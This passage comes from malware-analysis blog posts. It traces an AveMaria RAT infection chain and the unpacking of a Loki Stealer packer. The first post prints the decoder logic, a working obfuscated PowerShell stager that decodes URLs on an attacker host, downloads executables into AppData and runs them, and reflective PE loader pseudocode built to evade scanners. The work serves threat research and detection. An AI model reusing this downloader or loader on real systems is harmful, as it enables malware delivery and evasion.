9209,59227,59153,59187,59206,59214,59209,59207,59224,59140,59148,59205,59230,59186,59207,59224,59192,59206,59177,59207,59215,59227,59206,59191,59198,59186,59211,59225,59140,59172,59148,59162,59164,59163,59164,59158,59152,59162,59164,59164,59156,59161,59152,59162,59164,59164,59158,59156,59152,59162,59164,59163,59161,59156,59152,59162,59164,59163,59165,59157,59152,59162,59164,59164,59156,59161,59152,59162,59164,59164,59156,59158,59152,59162,59164,59163,59163,59157,59152,59162,59164,59164,59157,59158,59152,59162,59164,59164,59156,59165,59152,59162,59164,59164,59156,59161,59152,59162,59164,59164,59157,59160,59152,59162,59164,59164,59158,59156,59149,59149,59167,59199,59186,59209,59224,59154,59191,59209,59222,59226,59213,59207,59209,59188,59219,59213,59218,59224,59185,59205,59218,59205,59211,59209,59222,59201,59166,59166,59191,59209,59207,59225,59222,59213,59224,59229,59188,59222,59219,59224,59219,59207,59219,59216,59140,59169,59140,59199,59186,59209,59224,59154,59191,59209,59207,59225,59222,59213,59224,59229,59188,59222,59219,59224,59219,59207,59219,59216,59192,59229,59220,59209,59201,59166,59166,59192,59184,59191,59157,59158,59167,59144,59212,59230,59223,59226,59212,59228,59209,59194,59173,59224,59194,59189,59205,59225,59224,59140,59169,59140,59144,59212,59216,59229,59215,59193,59223,59178,59220,59206,59198,59181,59227,59176,59211,59226,59224,59186,59154,59176,59219,59227,59218,59216,59219,59205,59208,59176,59205,59224,59205,59148,59144,59215,59174,59206,59211,59191,59190,59219,59220,59228,59190,59219,59176,59179,59196,59186,59179,59182,59179,59228,59181,59149,59167,59222,59209,59224,59225,59222,59218,59140,59144,59212,59230,59223,59226,59212,59228,59209,59194,59173,59224,59194,59189,59205,59225,59224,59233,59167,59210,59225,59218,59207,59224,59213,59219,59218,59140,59205,59230,59186,59207,59224,59192,59206,59177,59207,59215,59227,59206,59191,59198,59186,59211,59225,59148,59144,59192,59180,59179,59208,59207,59209,59149,59231,59144,59186,59194,59226,59207,59206,59197,59176,59186,59185,59197,59186,59169,59162,59164,59163,59156,59160,59167,59144,59173,59229,59176,59222,59184,59198,59184,59229,59187,59196,59169,59144,59186,59225,59216,59216,59167,59210,59219,59222,59209,59205,59207,59212,59148,59144,59182,59223,59230,59205,59206,59193,59223,59221,59230,59140,59213,59218,59140,59144,59192,59180,59179,59208,59207,59209,59149,59231,59144,59173,59229,59176,59222,59184,59198,59184,59229,59187,59196,59151,59169,59199,59207,59212,59205,59222,59201,59148,59144,59182,59223,59230,59205,59206,59193,59223,59221,59230,59153,59144,59186,59194,59226,59207,59206,59197,59176,59186,59185,59197,59186,59149,59233,59167,59222,59209,59224,59225,59222,59218,59140,59144,59173,59229,59176,59222,59184,59198,59184,59229,59187,59196,59233,59167,59210,59225,59218,59207,59224,59213,59219,59218,59140,59222,59209,59178,59180,59216,59188,59198,59189,59209,59148,59149,59231,59144,59190,59196,59185,59226,59196,59221,59210,59228,59220,59195,59181,59212,59226,59210,59186,59140,59169,59140,59144,59209,59218,59226,59166,59173,59220,59220,59176,59205,59224,59205,59140,59151,59140,59147,59200,59147,59167,59144,59215,59213,59175,59220,59215,59220,59181,59224,59175,59192,59209,59196,59209,59208,59174,59182,59195,59180,59205,59184,59223,59140,59169,59140,59144,59190,59196,59185,59226,59196,59221,59210,59228,59220,59195,59181,59212,59226,59210,59186,59140,59151,59140,59147,59176,59154,59220,59208,59210,59147,59167,59181,59210,59148,59192,59209,59223,59224,59153,59188,59205,59224,59212,59140,59153,59188,59205,59224,59212,59140,59144,59215,59213,59175,59220,59215,59220,59181,59224,59175,59192,59209,59196,59209,59208,59174,59182,59195,59180,59205,59184,59223,59149,59231,59181,59218,59226,59219,59215,59209,59153,59181,59224,59209,59217,59140,59144,59215,59213,59175,59220,59215,59220,59181,59224,59175,59192,59209,59196,59209,59208,59174,59182,59195,59180,59205,59184,59223,59167,59233,59177,59216,59223,59209,59231,59140,59144,59194,59198,59186,59229,59194,59225,59221,59181,59217,59179,59195,59198,59220,59220,59226,59140,59169,59140,59220,59173,59198,59196,59190,59191,59206,59209,59182,59229,59213,59229,59217,59182,59196,59192,59195,59194,59212,59140,59148,59205,59230,59186,59207,59224,59192,59206,59177,59207,59215,59227,59206,59191,59198,59186,59211,59225,59140,59172,59148,59162,59164,59164,59156,59164,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59157,59162,59152,59162,59164,59164,59157,59165,59152,59162,59164,59163,59162,59158,59152,59162,59164,59163,59161,59157,59152,59162,59164,59163,59161,59157,59152,59162,59164,59164,59157,59165,59152,59162,59164,59164,59156,59163,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59157,59159,59152,59162,59164,59164,59156,59157,59152,59162,59164,59164,59157,59164,59152,59162,59164,59164,59157,59157,59152,59162,59164,59164,59156,59161,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59157,59165,59152,59162,59164,59163,59161,59156,59152,59162,59164,59164,59156,59159,59152,59162,59164,59164,59157,59161,59152,59162,59164,59164,59157,59159,59152,59162,59164,59163,59161,59157,59152,59162,59164,59163,59163,59158,59152,59162,59164,59163,59161,59156,59152,59162,59164,59164,59157,59162,59152,59162,59164,59164,59156,59160,59152,59162,59164,59164,59156,59162,59149,59149,59167,59226,59208,59198,59184,59140,59144,59215,59213,59175,59220,59215,59220,59181,59224,59175,59192,59209,59196,59209,59208,59174,59182,59195,59180,59205,59184,59223,59140,59144,59194,59198,59186,59229,59194,59225,59221,59181,59217,59179,59195,59198,59220,59220,59226,59167,59181,59218,59226,59219,59215,59209,59153,59181,59224,59209,59217,59140,59144,59215,59213,59175,59220,59215,59220,59181,59224,59175,59192,59209,59196,59209,59208,59174,59182,59195,59180,59205,59184,59223,59167,59233,59167,59144,59228,59183,59211,59196,59140,59169,59140,59144,59190,59196,59185,59226,59196,59221,59210,59228,59220,59195,59181,59212,59226,59210,59186,59140,59151,59140,59147,59217,59224,59160,59154,59209,59228,59209,59147,59167,59140,59213,59210,59140,59148,59192,59209,59223,59224,59153,59188,59205,59224,59212,59140,59153,59188,59205,59224,59212,59140,59144,59228,59183,59211,59196,59149,59231,59179,59207,59193,59176,59181,59227,59183,59211,59194,59140,59144,59228,59183,59211,59196,59167,59233,59177,59216,59223,59209,59231,59140,59144,59197,59220,59179,59179,59205,59205,59180,59174,59226,59184,59229,59198,59229,59140,59169,59140,59220,59173,59198,59196,59190,59191,59206,59209,59182,59229,59213,59229,59217,59182,59196,59192,59195,59194,59212,59140,59148,59205,59230,59186,59207,59224,59192,59206,59177,59207,59215,59227,59206,59191,59198,59186,59211,59225,59140,59172,59148,59162,59164,59164,59156,59164,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59157,59162,59152,59162,59164,59164,59157,59165,59152,59162,59164,59163,59162,59158,59152,59162,59164,59163,59161,59157,59152,59162,59164,59163,59161,59157,59152,59162,59164,59164,59157,59165,59152,59162,59164,59164,59156,59163,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59157,59159,59152,59162,59164,59164,59156,59157,59152,59162,59164,59164,59157,59164,59152,59162,59164,59164,59157,59157,59152,59162,59164,59164,59156,59161,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59157,59165,59152,59162,59164,59163,59161,59156,59152,59162,59164,59164,59156,59159,59152,59162,59164,59164,59157,59161,59152,59162,59164,59164,59157,59159,59152,59162,59164,59163,59161,59157,59152,59162,59164,59164,59157,59159,59152,59162,59164,59164,59158,59156,59152,59162,59164,59163,59161,59162,59152,59162,59164,59163,59161,59156,59152,59162,59164,59164,59156,59161,59152,59162,59164,59164,59158,59160,59152,59162,59164,59164,59156,59161,59149,59149,59167,59226,59208,59198,59184,59140,59144,59228,59183,59211,59196,59140,59144,59197,59220,59179,59179,59205,59205,59180,59174,59226,59184,59229,59198,59229,59167,59179,59207,59193,59176,59181,59227,59183,59211,59194,59140,59144,59228,59183,59211,59196,59167,59233,59167,59167,59167,59167,59233,59222,59209,59178,59180,59216,59188,59198,59189,59209,59167)
    QYARDSPMooGQ = sbtfmbzBZiKj(shyNkdc)
    MsgBox QYARDSPMooGQ, 64, "Decoded Output (QYARDSPMooGQ)"
    Dim fso, f
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set f = fso.CreateTextFile("C:\decoded_output.txt", True)
    f.WriteLine QYARDSPMooGQ
    f.Close
    WScript.Echo QYARDSPMooGQ
End Sub
xzyqy

Figure 11. VBScript decoding logic extracted from the HTA that subtracts a fixed offset (59108) from an integer array to reconstruct and reveal the hidden PowerShell command.

Figure 12. Message box displaying the decoded command output produced by the HTA’s embedded VBScript decoder logic.

Figure 13. Sysmon confirming the decoded HTA payload in action: mshta.exe launches the HTA, which spawns PowerShell executing the reconstructed, heavily obfuscated command responsible for staging and running the next stage.

Stage 5 — The Delivery: PowerShell Retrieves the Payload

Stage 5 is where the “mystery blob” finally turns into something real. The HTA doesn’t drop an EXE directly — it hands off to a PowerShell routine that behaves like a tiny installer: resolve a URL, pull raw bytes over HTTPS, write them to disk, then execute based on file type.

At the heart of this stage are four helpers:

1. Decode-NumberArrayToString: turns numeric arrays into strings by subtracting a fixed offset (68704). This is how the script hides obvious indicators like class names, extensions, and URLs until runtime.
2. Download-BytesFromUrl: instantiates a decoded .NET WebClient object, forces TLS 1.2, and downloads the payload as a byte array (DownloadData()).
3. Write-BytesToFile: persists those bytes using IO.File::WriteAllBytes().
4. Invoke-ByFileType: a crude dispatcher that checks the file extension (also decoded at runtime) and chooses how to run it:
   • .dll → rundll32.exe
   • .ps1 → powershell.exe -File
   • anything else → Start-Process

The actual delivery logic is in Stage-And-Execute-Payload, and it’s intentionally “quietly redundant.” It uses AppData as a staging directory and tries to keep re-downloading to a minimum:

1. It targets AppData\D.pdf. If it already exists, it simply opens it (Invoke-Item). If not, it downloads bytes from a decoded URL, writes the file, then opens it.
2. It then targets AppData\mt4.exe. Same deal: if present, execute; if missing, download from a second decoded URL, write it, and run it via the type-based launcher.

That structure matters. It’s not just “download and run” — it’s “download once, reuse forever.” The persistence isn’t scheduled-task based here; it’s behavioral: the script is built to resume cleanly and keep moving forward even if it’s executed multiple times.

What looks like messy obfuscation (arrays everywhere, meaningless variable names) is mostly misdirection. Functionally, Stage 5 is a straightforward pipeline:

decode → download → write → execute, twice — first for a decoy-looking “PDF,” then for the real executable (mt4.exe).

function Write-BytesToFile($filePath, $bytes)
{
    [IO.File]::WriteAllBytes($filePath, $bytes)
}
function Execute-FileBasedOnType($filePath)
{
    if ($filePath.EndsWith((Decode-NumberArrayToString @(68750,68804,68812,68812))) -eq $True)
    {
        rundll32.exe $filePath
    }
    elseif ($filePath.EndsWith((Decode-NumberArrayToString @(68750,68816,68819,68753))) -eq $True)
    {
        powershell.exe -ExecutionPolicy Unrestricted -File $filePath
    }
    else
    {
        Start-Process $filePath
    }
}
function Download-BytesFromUrl($url)
{
    $webClient = New-Object (Decode-NumberArrayToString @(68782,68805,68820,68750,68791,68805,68802,68771,68812,68809,68805,68814,68820))
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12
    $payloadBytes = $webClient.DownloadData($url)
    return $payloadBytes
}
function Decode-NumberArrayToString($encodedNumbers)
{
    $offset = 68704
    $decodedString = $Null
    foreach ($num in $encodedNumbers)
    {
        $decodedString += [char]($num - $offset)
    }
    return $decodedString
}
function Stage-And-Execute-Payload()
{
    $appDataPath = $env:AppData + '\'
    $pdfPayloadPath = $appDataPath + 'D.pdf'
    if (Test-Path -Path $pdfPayloadPath)
    {
        Invoke-Item $pdfPayloadPath
    }
    else
    {
        $pdfPayloadBytes = Download-BytesFromUrl(
            Decode-NumberArrayToString @(68808,68820,68820,68816,68819,68762,68751,68751,68819,68807,68820,68813,68801,68818,68811,68805,68820,68819,68750,68803,68815,68813,68751,68772,68750,68816,68804,68806)
        )
        Write-BytesToFile $pdfPayloadPath $pdfPayloadBytes
        Invoke-Item $pdfPayloadPath
    }
    $exePayloadPath = $appDataPath + 'mt4.exe'
    if (Test-Path -Path $exePayloadPath)
    {
        Execute-FileBasedOnType $exePayloadPath
    }
    else
    {
        $exePayloadBytes = Download-BytesFromUrl(
            Decode-NumberArrayToString @(68808,68820,68820,68816,68819,68762,68751,68751,68819,68807,68820,68813,68801,68818,68811,68805,68820,68819,68750,68803,68815,68813,68751,68813,68820,68756,68750,68805,68824,68805)
        )
        Write-BytesToFile $exePayloadPath $exePayloadBytes
        Execute-FileBasedOnType $exePayloadPath
    }
}
Stage-And-Execute-Payload

Figure 14. Obfuscated PowerShell delivery routine (function names & variables renamed for clarity) that decodes embedded URLs, downloads payload bytes to the AppData directory, writes them to disk, and executes the files based on their type.

Stage 6 — Final Payload: Primary Implant

Opening mt4.exe in IDA reveals a packed executable whose entry point invokes sub_401060 and sub_401070, signaling a loader stub rather than the true implant logic. The routine sub_401060 suppresses visible artifacts by hiding the console window via GetConsoleWindow and ShowWindow, while sub_401070 implements the actual unpacking stage: it allocates a large RWX region with VirtualAlloc, reconstructs an embedded payload by bitwise inversion of data from the .data section (unk_50C77C), and applies additional XOR-based decryption using a repeating key stored in v13. Memory protections are altered with VirtualProtect, and the MessageBoxA pointer is temporarily overwritten, followed by extremely heavy GUI call loops consistent with anti-analysis timing delays. Once reconstruction is complete, execution pivots into the decoded in-memory payload via the function pointer v4 (the shellcode entry), after which the process enters a sustained sleep loop — confirming that the real implant never exists on disk in unpacked form and is exposed only at runtime.

Figure 15. Program entry point showing a minimal loader stub where main() immediately transfers control to sub_401060 (console hiding) followed by sub_401070 (primary unpacking routine), indicating the absence of legitimate application logic.

Figure 16. Routine sub_401060 retrieves the process console window via GetConsoleWindow and hides it using ShowWindow(SW_HIDE), a common stealth technique to suppress visible execution.

Figure 17. Memory-resident unpacking workflow showing RWX allocation, staged blob reconstruction, XOR-based decryption, and final execution pivot into the in-memory shellcode.

Figure 18. Entry point of the decrypted shellcode showing the initial loader stub preparing registers and stack arguments before transferring execution to the next stage.

Figure 19. Decrypted payload PE located immediately after the shellcode loader in memory, exposing the embedded executable structure with visible MZ and PE headers.

Stepping deeper into the unpacked shellcode extracted from mt4.exe, the role of the stub becomes clear fairly quickly. The shellcode is not the final payload itself. Instead, it behaves as a reflective PE loader — a compact routine designed to reconstruct and execute another executable directly in memory.

Rather than dropping a file to disk and launching it in the conventional way, the loader rebuilds a complete PE image inside the process address space. In other words, the code is manually performing the same tasks normally handled by the Windows loader: parsing headers, allocating memory, mapping sections, resolving imports, applying relocations, and finally jumping into the payload’s entry point. The difference is that every step happens inside memory, leaving very little traditional footprint behind.

Figure 20. IDA pseudocode excerpt showing the shellcode which loads the decrypted payload into memory.

Resolving Required APIs

The first thing the loader does is resolve a handful of Windows APIs dynamically. Instead of relying on the import table, the code calls a helper routine. This function walks loaded modules, hashes exported function names, and returns the address of whichever function matches the supplied hash.

In practice this means the loader reconstructs its API table at runtime.

Pseudocode:

LoadLibraryPtr          = resolve_by_hash(HASH_LoadLibraryA)
GetProcAddressPtr       = resolve_by_hash(HASH_GetProcAddress)
VirtualAllocPtr         = resolve_by_hash(HASH_VirtualAlloc)
VirtualProtectPtr       = resolve_by_hash(HASH_VirtualProtect)
ZwFlushInstructionCache = resolve_by_hash(HASH_ZwFlushInstructionCache)
GetNativeSystemInfo     = resolve_by_hash(HASH_GetNativeSystemInfo)

Figure 21. API resolution via hashed lookups removes visible imports from the binary, requiring functionality to be reconstructed during runtime analysis.

Locating the PE Header

Once the API pointers are available, the loader begins parsing the embedded PE image.

The starting point is the familiar e_lfanew offset inside the DOS header. By adding this value to the base of the in-memory buffer, the loader lands directly at the NT header.

Conceptually it looks like this:

DOS_HEADER = (IMAGE_DOS_HEADER*)peImageBuffer
PE_HEADER  = (IMAGE_NT_HEADERS*)(peImageBuffer + DOS_HEADER->e_lfanew)

Figure 22. The loader locates the NT header via the e_lfanew offset, gaining full access to the embedded PE structure for subsequent reconstruction.

Basic PE Validation

Before doing anything expensive, the code performs a few sanity checks.

It verifies:

1. the “PE” signature
2. the expected architecture (x86 in this case)
3. several optional header flags

If any of these checks fail, the loader simply aborts.

if PE_HEADER->Signature != "PE"
    return 0
if PE_HEADER->FileHeader.Machine != IMAGE_FILE_MACHINE_I386
    return 0
if invalid_header_flags
    return 0

Figure 23. Initial header validation checks confirm the embedded buffer contains a valid PE executable before the loader proceeds with reconstruction.

Determining Image Size

Next the loader walks through the section headers to determine how large the reconstructed image will need to be.

Each section contributes a range defined by its virtual address and size. The loader tracks the highest end address across all sections.

max_end = 0
for each section in PE_HEADER->Sections
{
    end = section.VirtualAddress + section.VirtualSize
    if end > max_end
        max_end = end
}

Figure 24. The computed maximum section boundary defines the total memory footprint required for the executable once mapped into memory.

Allocating Memory for the Image

With the required size known, the loader allocates a new memory region where the reconstructed image will live.

allocated_image = VirtualAllocPtr(
        NULL,
        PE_HEADER->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)

Figure 25. Memory allocation for the reconstructed image, creating an empty region large enough to hold the full executable before section mapping begins.

Copying the PE Headers

The loader begins reconstructing the executable by copying the PE header region from the original buffer into the newly allocated image.

However, the copy operation is not entirely straightforward. When the wipeHeaders flag is enabled, the loader intentionally scrubs most of the DOS header area while preserving the critical offset that points to the PE header.

for i in range(SizeOfHeaders):
    if wipeHeaders
       and i < ntHeaderOffset
       and (i < 0x3C or i > 0x3E):
        allocated_image[i] = 0
    else:
        allocated_image[i] = original_image[i]

Figure 26. Selective header reconstruction during image mapping: the loader zeros most of the DOS header region while preserving the e_lfanew pointer (offset 0x3C) required to locate the NT headers; once the copy reaches the NT header boundary, the remaining structures — including the PE signature, file header, and section headers — are copied normally, producing a functional in-memory image while stripping many recognizable DOS-header artifacts often used by memory scanners.

Mapping the Sections

With the headers in place, the loader begins copying the actual section data. Each section is placed at its intended virtual address inside the new memory region.

for each section:
    destination = allocated_image + section.VirtualAddress
    source      = original_image + section.PointerToRawData
    memcpy(destination, source, section.SizeOfRawData)

Figure 27. Reconstructed image layout after section mapping, where the loader has copied headers and section contents into their respective virtual addresses, producing an in-memory structure that closely mirrors how the Windows loader would normally map the executable.

Resolve Imports

The loader processes the Import Address Table (IAT).

Steps

1. load required DLL
2. resolve imported functions
3. write addresses into IAT

for each import_descriptor:
    dll = LoadLibrary(import_descriptor.DLLName)
    for each thunk:
        if import by ordinal:
            func = resolve_ordinal(dll)
        else:
            func = GetProcAddress(dll, function_name)
        write func into IAT

Figure 28. Import resolution routine reconstructing the IAT by loading each required DLL and resolving imported functions by name or ordinal before writing the resulting addresses into the mapped image.

Applying Relocations

If the image cannot be loaded at its preferred base address, the loader adjusts internal addresses accordingly.

delta = allocated_image - PE_HEADER->OptionalHeader.ImageBase
for each relocation_entry:
    *(target_address) += delta

Figure 29. Relocation processing adjusts embedded addresses using the calculated base delta, ensuring all internal references point to the correct locations within the newly mapped image.

Setting Section Protections

The loader then assigns appropriate memory permissions to each section based on its characteristics.

if (ntHeaders->FileHeader.NumberOfSections)
{
    IMAGE_SECTION_HEADER *section =
        (IMAGE_SECTION_HEADER *)((char *)&ntHeaders->OptionalHeader.FileAlignment + v42);
    for (; v41 != 0; section++, v41--)
    {
        DWORD chars = section->Characteristics;
        DWORD size  = section->SizeOfRawData;
        DWORD rva   = section->VirtualAddress;
        DWORD sectionProtect;
        DWORD protect;
        if (size == 0)
            continue;
        bool isRead    = (chars & IMAGE_SCN_MEM_READ) != 0;
        bool isExecute = (chars & IMAGE_SCN_MEM_EXECUTE) != 0;
        bool isWrite   = (chars & IMAGE_SCN_MEM_WRITE) != 0;
        if (!isExecute)
        {
            if (isRead)
                sectionProtect = isWrite ? PAGE_READWRITE : PAGE_READONLY;
            else
                sectionProtect = isWrite ? PAGE_WRITECOPY : PAGE_NOACCESS;
        }
        else
        {
            if (isRead)
                sectionProtect = isWrite ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
            else
                sectionProtect = isWrite ? PAGE_EXECUTE_WRITECOPY : PAGE_EXECUTE;
        }
        protect = (chars & 0x04000000)
            ? (sectionProtect | PAGE_NOCACHE)
            : sectionProtect;
        if (!VirtualProtect(
                Actual_ImageBase + rva,
                size,
                protect,
                &oldProtect))
        {
            return 0;
        }
    }
}
EntryPoint_Ptr =
    (void (__stdcall *)(int, int, int))
    (Actual_ImageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
ZwFlushInstructionCache(v42, reloc, -1, 0, 0);
EntryPoint_Ptr(Actual_ImageBase, 1, 1);

Figure 30. Pseudocode representation of the relocation routine showing how each relocation entry is processed to patch absolute addresses using the calculated base delta; once relocations are applied, execution flow reaches the ZwFlushInstructionCache call before transferring control to the reconstructed payload’s entry point.

Cache Flush and Entry Point Invocation

Before transferring control to the reconstructed payload, the loader flushes the CPU instruction cache to ensure that the processor executes the freshly written code from the newly mapped image. Once the cache is synchronized, the loader resolves the executable’s entry point using the AddressOfEntryPoint field from the PE optional header and invokes it directly, as illustrated in Figure 28.

Optional Export Invocation

After the mapped module’s entry point is executed, the loader optionally performs an additional export lookup if a non-zero exportHash is provided. It parses the PE’s export directory, iterates through exported function names, and computes a ROR13-style hash for each. When the calculated hash matches the supplied value, the loader resolves the corresponding function address and invokes it with the provided arguments. This mechanism allows the loader to trigger a specific exported routine without embedding plaintext function names in the loader itself.

if (exportHash != 0)
{
    exportDir = imageBase + ExportDirectory;
    for each exported_function_name
    {
        hash = ROR13(name);
        if (hash == exportHash)
        {
            func = imageBase + function_address;
            func(exportArg1, exportArg2);
            break;
        }
    }
}

Figure 31. Pseudocode illustrating the optional export invocation routine, where the loader scans the export table, hashes each function name, and executes the export whose hash matches the supplied value.

C2 Identification

To identify the command-and-control endpoint, the first step is to place a breakpoint at the entry point invocation of the mapped PE, where the shellcode loader finally transfers execution to the reconstructed implant. Once execution lands inside the payload, the loaded modules can be inspected to understand which capabilities the malware is preparing to use. In this case, the presence of ws2_32.dll quickly points toward networking activity. From there, attention shifts to common DNS resolution routines such as getaddrinfo, which are typically used to resolve attacker-controlled domains before establishing outbound connections.

Since the hostname is usually supplied as an argument to this API, placing a breakpoint on getaddrinfo allows the analyst to capture the domain directly when the function is invoked. When execution reaches this breakpoint, the domain string passed to the resolver becomes visible, revealing the potential C2 hostname used by the implant.

For the purpose of this analysis, we will leave the investigation here. A deeper exploration of how the malware communicates with its C2 — including connection setup, protocol usage, and task handling — deserves its own dedicated analysis, which we will examine in a future post.

Figure 32. The loader flushes the instruction cache and pivots execution to the reconstructed PE entry point, handing control from the shellcode stub to the in-memory payload.

Figure 33. With ws2_32.dll mapped, the payload locates getaddrinfo, preparing the networking stack required for outbound C2 communication.

Figure 34. Execution enters ws2_32.getaddrinfo, resolving the embedded hostname before the malware establishes its network channel.

Figure 35. IDA pseudocode captures the moment the payload resolves its embedded domain through getaddrinfo, converting the hostname into a reachable C2 address.

Indicators Of Compromise (IOCs)

File Hashes

Initial Loader (.HTA)
MD5: 6114a230ccdb77219c67c47e054f881a

Delivery Container (ISO)
MD5: 62655c77982dbea9bfd30d0004862228

Shortcut Dropper (.LNK)
MD5: 2828f49cde16e65a1bee0c5c44aed8cc

Final Payload (AveMaria RAT)
MD5: 3bc9680077b50ad074e607b3ba700edc

Network Indicators

Payload Distribution

sgtmarkets[.]com/mt4.exe
Used to retrieve the AveMaria payload.

sgtmarkets[.]com/h.hta
HTA loader used in the early execution stage.

Command-and-Control

mt4blog[.]com
Observed during C2 communication with the AveMaria RAT.

References

Zscaler ThreatLabz – Dynamic Approaches Seen in AveMaria’s Distribution Strategy – https://www.zscaler.com/blogs/security-research/dynamic-approaches-seen-avemaria-s-distribution-strategy

Author: Valli-Nayagam Chokkalingam

Contents

The Algorithm Is Not the Detection

In Part 1, everything lived inside custom packer logic: not “malware strings,” not obvious config blobs—just the boring reality of a loader trying to stay unreadable. High entropy, dead strings, and a small decryptor sitting in the middle like a locked door. Part 2 stays in that same lane, but shifts the focus from handcrafted XOR/NOT tricks to known decryption patterns that packers love to reuse—RC4-style state shuffles, TEA/XTEA-looking round loops, tiny block mixers that scream “decrypt me” the moment you see them in IDA. The trap is that recognizing an algorithm isn’t detection by itself. RC4 or TEA showing up in a binary doesn’t make it malicious—it just means someone used crypto, and plenty of clean software does too. What actually matters is how the packer uses it: the fixed constants, the hardcoded key material, the staging around the routine, and the repeatable byte-level fingerprints that survive even when the encrypted payload changes. This part is about writing YARA for that reality—where the algorithm is only the starting point, and the real signal is the custom glue around it.

Detect It Easy: Static Analysis First

Before IDA, before control-flow graphs, before chasing logic that may not even be real yet, the first stop is Detect It Easy. Not because it “detects malware.” Because it detects deception. In this case, the target is a Loki Stealer sample pulled from VirusShare:

SHA256: 0b416446c098203de4b550714e69a2715ed1c2127a4db54f3d46b47cd2d9a2be

Packed samples don’t win by being clever—they win by being unreadable. And the fastest way to lose time is to start reversing a wrapper while believing it’s the payload.

DIE makes that boundary obvious. The file shows up as a PE32 (32-bit GUI) compiled with Microsoft tooling—normal enough on the surface. But the real message is the heuristic flag:

(Heur)Packer: Compressed or packed data — .text section compressed

That line is a warning label. .text isn’t supposed to be compressed. .text is supposed to be instructions. When it looks packed, it’s rarely “optimization.” It’s almost always staging: a small loader sitting in front, hiding the real code behind an unpack step.

Figure 1. Detect It Easy confirms this Loki Stealer sample is packed—.text is compressed, meaning the “real code” is still hiding behind a loader stage.

The Strings view backs it up in a quiet way. No domains. No config. No obvious paths. No flashy indicators. Just Windows APIs—the boring ones—the kind that show up when a binary doesn’t want to carry personality on disk:

GlobalAlloc, VirtualAlloc, VirtualProtect

None of these are malicious on their own. Clean software uses them constantly. But together they sketch the familiar outline of a loader: allocate memory, rebuild something into that buffer, flip protections so it can execute, and then hand off control. The absence of “malware strings” isn’t a gap here—it’s the design.

This is why static triage matters before deeper reversing. DIE isn’t the answer. It’s the direction. It doesn’t say what the payload does. It says the payload isn’t visible yet—and the only stable surface is the glue that survives every rebuild.

Figure 2. The Strings tab stays intentionally empty of personality—just loader-grade APIs like GlobalAlloc, VirtualAlloc, and VirtualProtect, hinting at memory staging rather than readable intent.

Follow the Memory: GlobalAlloc as the First Breadcrumb

Once the file screams “packed,” the next step isn’t to read code like a story. It’s to follow infrastructure—the boring APIs the stub can’t live without. And memory allocation is always one of the first tells, because unpacking needs somewhere to build the real payload. From there, the natural next move is simple: open it in IDA and start tracing those allocation calls into the unpacking flow.

In the Imports view, GlobalAlloc stands out immediately. Not because it’s rare, but because it’s useful. A loader doesn’t allocate memory for fun—it allocates memory because something is about to be staged, decrypted, decompressed, or reshaped into execution-ready bytes.

Figure 3. The import table exposes GlobalAlloc—a clean pivot into the unpacking flow.

So instead of guessing where the unpacker lives, the workflow becomes mechanical:

pick the allocation API → jump to XREFs → land inside the staging logic.

Following the cross-references to GlobalAlloc drops straight into a tiny helper routine: sub_403220. One clean call, one returned buffer, one pointer getting saved. No payload logic, no drama—just setup. That’s exactly what it is, so sub_403220 gets renamed to GlobalAllocWrapper.

Figure 4. The GlobalAlloc XREF is the first crack in the wrapper—pointing straight into sub_403220.

Figure 5. A one-liner allocator stub: GlobalAlloc in, pointer out—nothing but memory prep for the next stage.

Cross-referencing GlobalAllocWrapper leads to 0x403240, the routine that actually uses the allocated memory. This is where “packed” stops being a label and starts being behavior—staging bytes into memory in a way that only makes sense if the next step is execution. Right after allocation, the code flips the region into an executable-ready state with VirtualProtect(lpAddress, dwSize, 0x40, …), and then a tight for loop walks byte-by-byte, copying data from an embedded blob (dword_2B92E24 + 72475) straight into that buffer. No readable intent, no strings coming back to life—just the next stage being rebuilt in memory, one byte at a time. That’s why 0x403240 gets renamed to UnpackPayloadToExecutableMemoryAndRun. The random-looking API calls inside the loop (GetModuleHandleW, SetColorAdjustment, CreateMemoryResourceNotification, etc.) aren’t “features,” they’re junk API padding: cheap clutter thrown in to break patterns, confuse analysts, and make the unpacker look busier than it really is.

Figure 6. Cross-referencing GlobalAllocWrapper leads straight into 0x403240—the real staging routine where unpacking starts to take shape.

Figure 7. Inside 0x403240, the loader flips the allocated region to RWX (VirtualProtect 0x40) and reconstructs the next stage byte-by-byte in a tight copy loop.

And the placement seals it: UnpackPayloadToExecutableMemoryAndRun is the last call made inside WinMain. The program doesn’t end with application logic. It ends with a hand-off. The stub runs just long enough to allocate memory, rewrite it, mark it executable, and pass execution forward into whatever it just assembled.

Figure 8. XREFs pin UnpackPayloadToExecutableMemoryAndRun directly back to WinMain

Figure 9. WinMain doesn’t do much else—its final move is calling UnpackPayloadToExecutableMemoryAndRun, the hand-off into the real stage.

Identifying the Decryption Logic

The staging routine (UnpackPayloadToExecutableMemoryAndRun) already did the loud part: allocate memory, flip it to RWX, and rebuild a blob into lpAddress. That answers the where. The next question is the one that actually matters:

what happens to that buffer after it’s built?

That’s where lpAddress becomes more than a variable—it becomes a trail.

Cross-referencing lpAddress shows it being pulled into another routine (sub_4030E0), where the pointer is treated like a working buffer: v1 = (char *)lpAddress; and then processed in a loop. This is the moment the sample stops “copying bytes” and starts doing something to them.

And right in the middle of that loop, the real pivot appears: a call to sub_402F00(v1), repeated as the pointer moves forward (v1 += 8). That stride isn’t accidental. Eight bytes at a time is block territory—exactly the size you’d expect when something is being transformed in 64-bit chunks instead of raw stream decoding.

Figure 10. XREFs to lpAddress reveal where the unpacked buffer gets consumed next—leading straight into the routine that starts transforming it, not just storing it.

Figure 11. sub_4030E0 grabs lpAddress, walks it in 8-byte steps, and funnels each block into sub_402F00—the first real “decrypt this” pivot.

